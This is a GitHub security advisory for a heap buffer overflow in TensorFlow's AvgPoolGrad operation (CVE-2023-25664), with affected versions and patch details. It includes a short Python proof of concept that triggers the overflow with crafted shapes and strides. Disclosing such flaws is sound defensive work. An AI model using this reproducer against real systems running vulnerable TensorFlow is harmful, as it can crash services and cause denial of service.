GitHub Advisoryadvisory · PyPI
GHSA-6hg6-5c2q-7rcr TensorFlow has Heap-buffer-overflow in AvgPoolGrad
HIGH
Official page ↗
- Aliases
- CVE-2023-25664
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-120, CWE-122
- Reviewed
- 2023-03-24
Affected packages
• PyPI tensorflow: < 2.11.1 → fixed in 2.11.1
• PyPI tensorflow-cpu: < 2.11.1 → fixed in 2.11.1
Description
Impact
```python
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
```
Patches
We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by
Related
Alias · CVE (1)
- CVE-2023-25664 TensorFlow is an open source platform for machine learning. vulnerability